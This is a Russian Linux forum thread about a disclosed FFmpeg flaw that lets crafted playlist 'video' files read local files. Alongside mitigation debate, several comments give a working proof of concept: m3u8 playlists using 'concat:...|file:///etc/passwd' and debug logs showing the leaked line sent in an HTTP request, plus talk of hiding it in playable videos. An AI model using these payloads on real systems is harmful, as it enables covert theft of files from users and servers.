LINUX.ORG.RU

Уязвимость в FFMpeg, позволяющая читать любые файлы в системе

 ,


6

6

Сотрудник Mail.ru Максим Андреев опубликовал информацию об уязвимости в популярном наборе свободных библиотек FFMpeg.

Если сформировать специальный видеофайл (расширение не имеет значения) и загрузить его на видеохостинг, то злоумышленник сможет прочесть любой файл на сервере. Если удастся каким-то образом заставить обычного пользователя скачать вредоносный файл (дать ему прямую ссылку, выложить на торрент-трекер), как минимум, можно узнать имя пользователя и какую-нибудь ещё непубличную информацию. В случае с Ubuntu FFmpeg передаст злоумышленнику первую строку указанного злоумышленником файла (например, /etc/passwd того пользователя, который просто скачал файл, даже не запуская его (FFMpeg в Ubuntu используется для создания превью, отображаемого в файловом менеджере).

Кроме того, уязвимости подвержены все видеопроигрыватели, использующие FFMpeg.

В качестве мер защиты предлагается запускать ffmpeg в изолированном окружении, либо ограничить ему доступ к сети.

>>> Подробности

anonymous

Проверено: JB ()
Последнее исправление: JB (всего исправлений: 1)

Ответ на: комментарий от h4tr3d

Какая, к чёрту, уязвимость?

А пользователи десктопных Linux'ов тоже должны фильтровать ввод и не запускать, а точнее даже не скачивать «недоверенные видео»?

anonymous
()
Ответ на: комментарий от anonymous

Да тут я погорячился. Упустил момент с некорректной работой concat: протокола если нет \n в конце play-листа: http://habrahabr.ru/company/mailru/blog/274855/#comment_8735299. Тогда да, только входным файлом можно передать на сервер необходимую информацию. Это уже косякс.

Тогда просто тупая фильтрация типа: http://habrahabr.ru/company/mailru/blog/274855/#comment_8735249

Имеет смысл запретить concat протокол:

–disable-protocol=concat

кому нужно, склеить можно будет через фильтры: https://www.ffmpeg.org/ffmpeg-filters.html#concat

h4tr3d ★★★★★
()
Последнее исправление: h4tr3d (всего исправлений: 1)

MPlayer, MPlayer2, MPV подвержены?
Вроде у них своя либа.
Вообще неплохо бы перечислить безопасные плееры.

например, /etc/passwd

Можно полностью отобрать у юзеров права на подобные файлы

Strannik-j ★★
()
Последнее исправление: Strannik-j (всего исправлений: 2)
Ответ на: комментарий от Strannik-j

Нет, они используют системный ffmpeg.

anonymous
()
Ответ на: комментарий от proud_anon

нет, если злоумышленник передаст файл а ты сделаешь тамбнейл то у него будут твои файлы)

Slackware_user ★★★★★
()
Ответ на: комментарий от AS

Это логичное следствие запихивания в одну либу всего возможного барахла на свете.

Только мне послышалось systemd ? :-)

У меня это тоже вызвало знакомые ассоциации с кучей всего что НИНУЖНО.

rezedent12 ☆☆☆
()

Такой вопрос к тем кто разбирался в теме: Можно-ли сделать видео-файл с данной закладкой, который будет иметь типичный размер для видео-файла, который будет в итоге воспроизводиться видео-плеером, но на старте воспроизведения будет выполнять данную закладку из встроенного в него «плейлиста» и отправлять какие-то данные злоумышленнику на сервер ?

Эх... как всё печально стало в линуксах с секурностью. Вот совсем недавно делал профиль AppArmor для Firefox'а, теперь, видимо, придётся делать профиль с ограничением на сеть для видео-проигрывателей и утилиты ffmpeg (как я понял, thumbnailer'ы часто просто её напрямую запускают).

DawnCaster ★★
()

Вменяемого репорта на английском, как я вижу, нет. Смотрел на bugtraq, FullDisclosure, просто гуглил. Мэйлру решили попиариться в локальных масштабах, без дискуссии с сообществом разработчиков ffmpeg и безопасников, так и запишем.

Andrey_Utkin ★★
()

ололо!

Это лол какой-то. Статью - не читай, новость - пиши!

Разработчики сами себе ставят грабли и потом бегают по ним, при этом валят на производителей стороннего софта. Ffmpeg обрабатывает данные согласно протоколу.

тлдр. Проверяйте входные данные перед работой с ними.

Ещё во времена студенчества, когда я делал всякие сайты за еду, заказчик захотел сайт «доска объявлений с картинками». Естественно, любой аноним мог постить картинки в любом количестве. Чтобы не запороть систему, входные картинки были ограничены набором форматов. Естественно, формат нужно проверять. Например, в лине есть команда file, которая позволяет узнать формат файла. Результат может основываться на расширении файла или на сигнатурах (используется libmagickfile или как-то так).

Соответственно и здесь прежде чем отдавать данные в ffmpeg нужно проверять - готовы ли вы обработать данные, которые пришли, или - нет.

Другая ситуация была бы, если бы пришел валидный mp4, а внутри одним из фреймов был заинжекчен указанный плейлист, и ffmpeg вместо ошибки начал бы обрабатывать этот плейлист.

IPFreely ★★
()
Последнее исправление: IPFreely (всего исправлений: 2)
Ответ на: комментарий от DawnCaster

который будет иметь типичный размер для видео-файла

Да. Просто добейте комментариями вида '# строка'

который будет в итоге воспроизводиться видео-плеером

попробуйте VLC, ffplay (этот точно будет)

будет выполнять данную закладку из встроенного в него «плейлиста» и отправлять какие-то данные злоумышленнику на сервер

отправится только первая строка файла. Протокол concat сделать в лобо: но читает последовательно байты из первого файла, потом из второго, потом из третьего. Суть проблемы в том, что в первом файле может быть только один URL, а буффер может быть больше этого юрла, тогда сначала в запрошенный буффер записывается этот самый URL:

http://example?
Уберите перевод строки, иначе ничего не выйдет! Файл на этом заканчивается и начинает читаться второй, этот самый ваш /etc/passwd, из него читается порция данных равная остатку буффера, пусть это будет:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:dae
вот именно так, сколько влезло. И это дело дописывается в буффер, в результате там:
http://example?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:dae

далее он пытается открыть этот самый юрл, отправится то, что до первого перевода строки. Но дальше уже ничего слаться не будет - что это за

daemon:x:1:1:dae
такое? :)

Хотя у меня на этом месте FFmpeg тупо впал в ступор:

ffmpeg version 2.8.3 Copyright (c) 2000-2015 the FFmpeg developers
  built with gcc 4.8 (Ubuntu 4.8.4-2ubuntu1~14.04)
  configuration: --prefix=/opt/ffmpeg --libdir=/opt/ffmpeg/lib/ --enable-shared --enable-avresample --disable-stripping --enable-gpl --enable-version3 --enable-nonfree --enable-runtime-cpudetect --build-suffix=.ffmpeg --enable-postproc --
  libavutil      54. 31.100 / 54. 31.100
  libavcodec     56. 60.100 / 56. 60.100
  libavformat    56. 40.101 / 56. 40.101
  libavdevice    56.  4.100 / 56.  4.100
  libavfilter     5. 40.101 /  5. 40.101
  libavresample   2.  1.  0 /  2.  1.  0
  libswscale      3.  1.101 /  3.  1.101
  libswresample   1.  2.101 /  1.  2.101
  libpostproc    53.  3.100 / 53.  3.100
Splitting the commandline.
Reading option '-v' ... matched as option 'v' (set logging level) with argument 'debug'.
Reading option '-i' ... matched as input file with argument 'test.mkv'.
Reading option 'out.avi' ... matched as output file.
Finished splitting the commandline.
Parsing a group of options: global .
Applying option v (set logging level) with argument debug.
Successfully parsed a group of options.
Parsing a group of options: input file test.mkv.
Successfully parsed a group of options.
Opening an input file: test.mkv.
[hls,applehttp @ 0x11b2be0] Format hls,applehttp probed with size=2048 and score=100
[hls,applehttp @ 0x11b2be0] HLS request for url 'concat:./header.m3u8|file:///etc/passwd', offset 0, playlist 0
Format hls,applehttp probed with size=2048 and score=100
[AVIOContext @ 0x11b9820] Statistics: 2359 bytes read, 0 seeks
[hls,applehttp @ 0x11b5a00] HLS request for url 'http://localhost?root:x:0:0:root:/root:/bin/bash', offset 0, playlist 0
[http @ 0x11b6a40] request: GET ?root:x:0:0:root:/root:/bin/bash HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Connection: close
Host: localhost
Icy-MetaData: 1


[hls,applehttp @ 0x11b5a00] Failed to open segment of playlist 0
[AVIOContext @ 0x11b9c60] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b99c0] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9ca0] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c80] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9d00] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c00] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9a60] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c00] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11bb3c0] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c60] Statistics: 2359 bytes read, 0 seeks

Строчки:

[AVIOContext @ 0x11b9c60] Statistics: 2359 bytes read, 0 seeks
повторяются несчётное число раз.

h4tr3d ★★★★★
()
Ответ на: комментарий от h4tr3d

Ну, про чтение нескольких строчек, в оригинальной статье - тоже что-то писалось. Проверить самому сейчас просто нету времени, так что предположу, что как-то это сделать может и можно.

А вам не удалось в итоге сделать такой «видео»-файл, который успешно откроется проигрывателем, выполнит закладку, и самое главное - ВОСПРОИЗВЕДЁТ видео которое в нём записано ? Что-бы пользователь даже не догадался что его хакнули.

Пока-что, как я понял, сделать такую «многоходовочку» ещё не удалось. Если найду время, обязательно поэкспериментирую. Может можно как-то сделать имитацию локального воспроизведения через какой-нибудь вложенный плейлист, а сам локальный файл-троян добить символами # до размера не вызывающего подозрений.

DawnCaster ★★
()
Ответ на: комментарий от DawnCaster

Да, но в этом случае запись идёт в локальный же файл. Пример с HTTP запросом приколен в том, что не имея доступа к результирующему файлу - данные утекают. Но одна строчка.

Собственно такой такой вариант (запись в выходной файл) опасен для серверов, а с передачей данных вместе с запросом - для рядового пользователя в первую очередь.

h4tr3d ★★★★★
()
Ответ на: комментарий от anonymous

Умеет через gstreamer-vaapi, начиная с gnome-3.16, но изображение всё равно идёт с рывками, хотя напрямую через gst-launch всё идеально. Да и в последнем gtreamer-vaapi по слухам улучшили работу. А не работал totem предыдущих версий из-за того, что использовал какой-то виджет gtk, который делал бяку.

Но со стабильным дебьяном мне ещё долго это не проверить.

anonymous
()
Ответ на: комментарий от h4tr3d

как я понял по этому примеру, это как раз то что нужно: то есть, «имитация» локального воспроизведения файла для пользователя, и кража данных, строчка за строчкой, при выполнении каждого HTTP запроса из плейлиста. Осталось дело за малым - просто добить плейлист до нужного размера, и будет казаться что воспроизводиться локальный файл.

DawnCaster ★★
()
Ответ на: комментарий от Psych218

Можно просто пересобрать ffmpeg

Это всё херня, ffmpeg всегда был, есть и будет решетом. Поэтому на всех видеохостингах оно запускается изолированно.

true_admin ★★★★★
()

Любые файлы в системе))) Я вот что-то не могу воспроизвести файлы видео из папки root, что я делаю не так?

Deleted
()
Ответ на: комментарий от DawnCaster

вот header.m3u8:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://localhost/file540.mp4?

вот test.mkv с множеством запросов:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

а вот результат запроса: http://pastebin.com/UZGrfYGJ

сами видите, сколько данных утекло. Соединяются только header.m3u8 и file://, причём утечку пользовательских данных вызовет только ОДИН реквест - который самый последний в header.m3u8. Остальные нет, даже если они будут. Строчка за строчкой прочитать файл /etc/passwd не получится.

Т.е. этот вариант сработал бы даже с ffplay, vlc и так далее. Все остальные варианты, которые могут вызвать ПОЛНОЕ чтение файла требуют конвертации и передачи полученного файла злоумышленнику.

h4tr3d ★★★★★
()

Помню что mplayer без специального ключа отказывался работать с определенным форматом плейлиста, примерно по похожим причинам.

Предложим ffmpeg сконвертировать текстовый файл file.txt в видеофайл out.mp4. Как вы думаете, что произойдёт в данном случае? В файле out.mp4 будет видео, в котором этот текстовый файл проиграется просто бегущими строками!

Наркомания.

aplay ★★★★★
()

Подскажите для Ъ - эта «уязвимость» на самом деле уязвимость протокола, который реализован в ffmpeg, или уязвимость только ffmpeg?

tailgunner ★★★★★
()
Ответ на: libav от wakuwaku

как всегда не нужна
fixed

uin ★★★
()
Ответ на: комментарий от DawnCaster

Эх... как всё печально стало в линуксах с секурностью.

Осталось понять, как вы связали безопасность линукса с дыркой в протоколе, который реализован в юзерспейсной либе?

andreyu ★★★★★
()
Ответ на: комментарий от Strannik-j

В /etc/passwd уже тысячу лет ничего полезного не лежит. Кто-то на другом конце мира узнает, какой у меня shell. Ну охренеть теперь.

Куда более неприятно получить доступ к ~/.ssh/id_rsa.

kirk_johnson ★☆
()
Ответ на: комментарий от tailgunner

Уязвимость формата, который позволяет слишком много странного. Ну в какой-то мере можно считать уязвимостью ffmpeg, ибо зачем такие странные форматы реализовывать полностью. По крайней мере при сборке по умолчанию уж точно такое надо отключать.

Legioner ★★★★★
()
Ответ на: комментарий от anonymous

у меня 3.18 - вообще не работает, на 3.16, да, работало, но тоже как-то странно, дергания при pause-play, какие-то странные артефакты при старте, короче, неюзабельно. вообще, тотем - это кусок говна а не плеер (притом что старые версии смотрятся годно, видать @#$%^&* из outreachy постарались все изгадить), но, в связи с, приходится им смотреть, без vaapi.

хотя, опять же, не уверен, что libav этот баг не касается.

anonymous
()
Ответ на: комментарий от tailgunner

эта «уязвимость» на самом деле уязвимость протокола, который реализован в ffmpeg, или уязвимость только ffmpeg?

Ffmpeg слишком умный. С одной стороны в спеке вроде как нет упоминаний об ограничениях на URLы в m3u8 плейлисте. И нет упоминаний, могут ли реализации вносить ограничения типа «запросы только с того же основного домена» или «нельзя менять схему». Из-за этого можно конечного пользователя превратить в элемент DDoS ботнета. Но это протокол такой.

С другой стороны, ffmpeg кроме обычных схем (http, https, ftp), позволяет использовать и свои. Например, concat позволяет вытащить строку из файла, прилепить её к ссылке и пройти по этой ссылке. За один заход можно утащить первую строку из любого локального текстового файла. Subfile позволяет утащить строку откуда-нибудь из середины текстового файла.

А ещё ffmpeg может рендерить текст в картинки: ffmpeg -i /etc/passwd out.mp4.

i-rinat ★★★★★
()
Ответ на: комментарий от anonymous

Собственно это моя дискуссия с ним. Обрати внимание на дальнейшие эксперименты.

h4tr3d ★★★★★
()
Ответ на: комментарий от i-rinat

/etc/passwd: Invalid data found when processing input

Гента с USE=-* как всегда рулит и пердолит.

anonymous
()
Ответ на: комментарий от Deleted

Я вот что-то не могу воспроизвести файлы видео из папки root, что я делаю не так?

Ну сделай там +r для всех, и всё будет. Не надо же понимать буквально, рута посредством ffmpeg не получить.

AS ★★★★★
()
Ответ на: комментарий от h4tr3d

Неа, несколько concat в test.mkv не спасли. FFmpeg в транс впадает. Такое ощущение, где-то логика ломается и усё.

h4tr3d ★★★★★
()
Ответ на: комментарий от Andrey_Utkin

Люто и бешено плюсую!

Нету предметнаго и чоткаго обсуждения с безопасниками сего происшествия. Видимо местное быдло мыло решило пропиарится!

anonymous
()
Ответ на: комментарий от i-rinat

Вот, кстати, так и не получилось даже при помощи subfile вывести целиком в несколько запросов. Уже сделал и куски маленькие, что бы ошмётки не портили плей-лист, нифига.

h4tr3d ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.